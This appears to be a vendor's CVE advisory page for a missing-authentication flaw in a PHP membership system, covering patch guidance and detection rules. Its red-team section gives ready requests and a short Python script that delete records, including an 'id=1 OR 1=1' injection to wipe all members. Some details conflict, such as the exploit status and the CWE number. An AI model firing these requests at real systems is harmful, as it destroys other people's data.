☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-70150

CVE-2025-70150 Missing Authentication in Codeastro
📅 PUBLISHED: 2026-02-18 00:00 UTC 🔄 UPDATED: 2026-09-26 06:13 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.66%
👁️
0.66% probability
16.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: Membership Management System
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-70150 is a critical missing authentication vulnerability in CodeAstro Membership Management System 1.0. The flaw resides in delete_members.php, which allows any unauthenticated attacker to delete arbitrary member records by simply passing an id parameter. With a CVSS score of 9.8, this vulnerability can lead to complete data loss and service disruption. No patch is currently available from the vendor, and no public exploit code has been released, but the attack vector is trivial to execute.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – no authentication needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – impact confined to the vulnerable component.
  • Confidentiality (C): High (H) – member data could be exposed if deletion is logged or if the attacker can infer data from deletion patterns.
  • Integrity (I): High (H) – attacker can delete records, corrupting the database.
  • Availability (A): High (H) – mass deletion can render the system unusable.

Threat Level: Critical. The vulnerability is trivial to exploit and requires no authentication.

Deep Dive & Mechanics

The vulnerability exists because delete_members.php does not enforce any authentication or authorization checks before processing the id parameter. The script likely executes a SQL DELETE query directly based on the user-supplied id. An attacker can send a GET or POST request to delete_members.php?id=<value> and delete any member record. The lack of input validation also opens the door to SQL injection, though the primary issue is missing authentication.

Root Cause: The developer omitted session validation or token checks in delete_members.php, assuming that only authenticated users would access it. This is a classic CWE-306 (Missing Authentication for Critical Function).

Vulnerable vs. Patched Code

Vulnerable Code (delete_members.php):

<?php
include 'db_connect.php';
$id = $_GET['id'];
mysqli_query($conn, "DELETE FROM members WHERE id = $id");
header('Location: members.php');
?>

Patched Code (hypothetical):

<?php
session_start();
include 'db_connect.php';
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}
$id = intval($_GET['id']);
$stmt = $conn->prepare("DELETE FROM members WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
header('Location: members.php');
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install XAMPP or any PHP web server.
  2. Download CodeAstro Membership Management System 1.0 from the official source.
  3. Place the files in the web root and configure the database.
  4. Ensure delete_members.php is accessible.

Exploitation Steps:

  1. Identify the target URL: http://target/membership/delete_members.php
  2. Send a GET request to delete a member with ID 1:
    GET /membership/delete_members.php?id=1 HTTP/1.1
    Host: target
    
  3. To delete all members, use a loop or SQL injection:
    GET /membership/delete_members.php?id=1 OR 1=1 HTTP/1.1
    Host: target
    

Proof of Concept (PoC) Script:

import requests

target = "http://target/membership/delete_members.php"
member_id = "1"
response = requests.get(f"{target}?id={member_id}")
if response.status_code == 200:
    print(f"Member {member_id} deleted successfully.")
else:
    print("Failed to delete member.")

Blue Team

Detection:

  • Monitor web server logs for requests to delete_members.php without a preceding login session.
  • Look for abnormal patterns like multiple id parameters or SQL-like strings in the id parameter.

Hunting:

  • Search for HTTP requests containing delete_members.php?id= in access logs.
  • Correlate with session logs to identify unauthenticated requests.

Indicators of Compromise (IOCs)

  • Network: HTTP GET/POST requests to /delete_members.php with an id parameter.
  • Logs: Web server access logs showing delete_members.php?id= from IPs not associated with authenticated sessions.
  • Database: Missing member records or sudden drops in member count.
  • File: No file-based IOCs; the attack is purely network-driven.

Detection Engineering

YARA Rule

rule CVE_2025_70150_Delete_Members
{
    meta:
        description = "Detects requests to delete_members.php without authentication"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-70150"
    strings:
        $php_script = "delete_members.php"
        $id_param = "id="
    condition:
        $php_script and $id_param
}

Sigma Rule

title: Unauthenticated Member Deletion Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to delete_members.php without authentication
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "delete_members.php?id="
    condition: selection
falsepositives:
    - Legitimate admin actions (if authentication is present)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70150 - Unauthenticated Member Deletion"; flow:to_server; content:"GET"; http_method; content:"delete_members.php"; http_uri; content:"id="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable delete_members.php or restrict access via .htaccess:
    <Files "delete_members.php">
        Require all denied
    </Files>
    
  2. Implement authentication by adding session checks and CSRF tokens.
  3. Use prepared statements to prevent SQL injection.

Long-Term Fix:

  • Replace the vulnerable script with a patched version that includes authentication and input validation.
  • Monitor the vendor for an official patch; if none is provided, consider migrating to a different membership management solution.

Compensating Controls:

  • Deploy a Web Application Firewall (WAF) with rules to block requests to delete_members.php from unauthenticated sources.
  • Enable detailed logging and alerting for all delete_members.php requests.

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-70150/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.